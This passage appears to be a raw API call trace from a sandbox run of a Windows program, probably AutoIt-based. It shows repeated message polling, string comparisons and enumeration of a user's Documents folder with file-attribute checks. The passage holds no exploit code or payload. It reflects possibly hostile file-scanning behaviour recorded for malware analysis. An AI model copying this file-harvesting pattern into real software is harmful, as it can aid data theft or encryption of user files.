wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.561] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.561] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.561] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.561] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.561] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.562] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.562] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.562] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.562] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.562] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.562] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.562] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.562] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.562] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.562] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.562] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.562] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.562] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.562] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.562] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*.*", cchCount1=3, lpString2="*", cchCount2=1) returned 3 [0068.562] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.562] CharUpperBuffW (in: lpsz="__FLTAR_LISTTOMASK", cchLength=0x12 | out: lpsz="__FLTAR_LISTTOMASK") returned 0x12 [0068.562] PeekMessageW (in: lpMsg=0x130ecc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecc4) returned 0 [0068.562] PeekMessageW (in: lpMsg=0x130ecc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecc4) returned 0 [0068.562] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*.*", cchCount1=1, lpString2=";", cchCount2=1) returned 1 [0068.562] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".*", cchCount1=1, lpString2=";", cchCount2=1) returned 1 [0068.563] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*", cchCount1=1, lpString2=";", cchCount2=1) returned 1 [0068.563] PeekMessageW (in: lpMsg=0x130ecc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecc4) returned 0 [0068.563] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*\\.*", cchCount1=1, lpString2="?", cchCount2=1) returned 1 [0068.563] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\.*", cchCount1=1, lpString2="?", cchCount2=1) returned 3 [0068.563] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".*", cchCount1=1, lpString2="?", cchCount2=1) returned 1 [0068.563] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*", cchCount1=1, lpString2="?", cchCount2=1) returned 1 [0068.563] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*\\.*", cchCount1=1, lpString2="*", cchCount2=1) returned 2 [0068.563] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\.*", cchCount1=1, lpString2="*", cchCount2=1) returned 3 [0068.563] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".*", cchCount1=1, lpString2="*", cchCount2=1) returned 3 [0068.563] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*", cchCount1=1, lpString2="*", cchCount2=1) returned 2 [0068.563] PeekMessageW (in: lpMsg=0x130ecc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecc4) returned 0 [0068.563] PeekMessageW (in: lpMsg=0x130ecc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecc4) returned 0 [0068.563] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.563] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.563] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.563] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.563] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.563] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.563] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0068.563] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.563] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.563] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.563] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.564] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.564] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.564] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.564] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.564] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.564] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.564] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.564] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.564] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.564] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.564] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.564] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.564] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.564] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.564] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.564] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.565] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.565] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.565] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.565] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.565] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.565] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.565] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.565] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.565] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164d070 [0068.565] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.565] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.565] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.565] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.565] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.565] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.566] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.566] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.566] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.566] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.566] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.566] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.566] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.566] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.566] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.566] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.566] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.566] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.568] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.568] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="D", cchCount2=1) returned 2 [0068.568] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.568] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.568] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.569] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.569] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.569] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.569] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.569] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.569] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.569] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.570] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.570] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.570] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.570] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.570] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.570] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.570] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.570] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.570] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.570] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.570] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ASH", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.570] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SH", cchCount1=1, lpString2="D", cchCount2=1) returned 3 [0068.570] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="H", cchCount1=1, lpString2="D", cchCount2=1) returned 3 [0068.571] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.571] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.571] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.571] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.571] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.571] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.571] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.571] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.571] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.571] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.572] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.572] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.572] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.572] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.573] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.573] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.573] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.573] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.573] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.573] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.573] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.573] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.574] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.574] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.574] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.574] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.574] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SHD", cchCount1=1, lpString2="D", cchCount2=1) returned 3 [0068.574] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HD", cchCount1=1, lpString2="D", cchCount2=1) returned 3 [0068.574] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="D", cchCount2=1) returned 2 [0068.574] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.574] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.574] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SHD", cchCount1=1, lpString2="D", cchCount2=1) returned 3 [0068.574] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HD", cchCount1=1, lpString2="D", cchCount2=1) returned 3 [0068.574] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="D", cchCount2=1) returned 2 [0068.574] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.575] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SD", cchCount1=1, lpString2="D", cchCount2=1) returned 3 [0068.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="D", cchCount2=1) returned 2 [0068.575] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.575] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SHD", cchCount1=1, lpString2="D", cchCount2=1) returned 3 [0068.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HD", cchCount1=1, lpString2="D", cchCount2=1) returned 3 [0068.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="D", cchCount2=1) returned 2 [0068.575] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.575] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.575] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.575] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.575] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.575] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.575] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="D", cchCount2=1) returned 2 [0068.576] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.576] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="D", cchCount2=1) returned 2 [0068.576] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.576] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.576] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0068.576] FindNextFileW (in: hFindFile=0x164d070, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0068.576] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0068.576] CharUpperBuffW 